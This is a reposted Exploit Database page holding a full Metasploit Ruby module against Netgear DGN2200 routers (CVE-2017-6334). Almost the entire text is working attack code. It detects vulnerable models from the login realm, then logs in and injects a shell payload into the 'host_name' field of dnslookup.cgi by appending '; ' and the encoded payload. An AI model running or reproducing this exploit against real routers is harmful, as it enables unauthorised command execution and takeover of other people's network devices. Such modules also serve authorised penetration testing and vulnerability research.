Netgear DGN2200 – ‘dnslookup.cgi’ Command Injection (Metasploit)

• Exploit Database
• 23 阅读

• 作者： Metasploit
  日期： 2017-06-26
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/42257/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'net/http'
  require "base64"
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection",
  'Description'=> %q{
  This module exploits a command injection vulnerablity in NETGEAR
  DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
  with valid login details.
  },
  'License'=> MSF_LICENSE,
  'Platform' => 'unix',
  'Author' => [
  'thecarterb',# Metasploit Module
  'SivertPL' # Vuln discovery
  ],
  'DefaultTarget'=> 0,
  'Privileged' => true,
  'Arch' => [ARCH_CMD],
  'Targets'=> [
  [ 'NETGEAR DDGN2200 Router', { } ]
  ],
  'References' =>
  [
  [ 'EDB', '41459'],
  [ 'CVE', '2017-6334']
  ],
  'DisclosureDate' => 'Feb 25 2017',
  ))
  
  register_options(
  [
  Opt::RPORT(80),
  OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
  OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
  ])
  
  register_advanced_options(
  [
  OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
  ])
  end
  
  # Requests the login page which tells us the hardware version
  def check
  res = send_request_cgi({'uri'=>'/'})
  if res.nil?
  fail_with(Failure::Unreachable, 'Connection timed out.')
  end
   # Checks for the `WWW-Authenticate` header in the response
  if res.headers["WWW-Authenticate"]
  data = res.to_s
  marker_one = "Basic realm=\"NETGEAR "
  marker_two = "\""
  model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
  vprint_status("Router is a NETGEAR router (#{model})")
  model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
  if model_numbers.include?(model)
  print_good("Router may be vulnerable (NETGEAR #{model})")
  return CheckCode::Detected
  else
  return CheckCode::Safe
  end
  else
  print_error('Router is not a NETGEAR router')
  return CheckCode::Safe
  end
  end
  
  def exploit
  check
  
  # Convert datastores
  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  hostname = datastore['HOSTNAME']
  
  vprint_status("Using encoder: #{payload.encoder} ")
  print_status('Sending payload...')
  
  vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")
  
  creds_combined = Base64.strict_encode64("#{user}:#{pass}")
  vprint_status("Encoded authentication: #{creds_combined}")
  
  res = send_request_cgi({
  'uri' => '/dnslookup.cgi',
  'headers' => {
  'Authorization' => "Basic #{creds_combined}"
  },
  'vars_post' => {
  'lookup'=> 'Lookup',
  'host_name' => hostname + '; ' + payload.encoded
  }})
  
  end
  end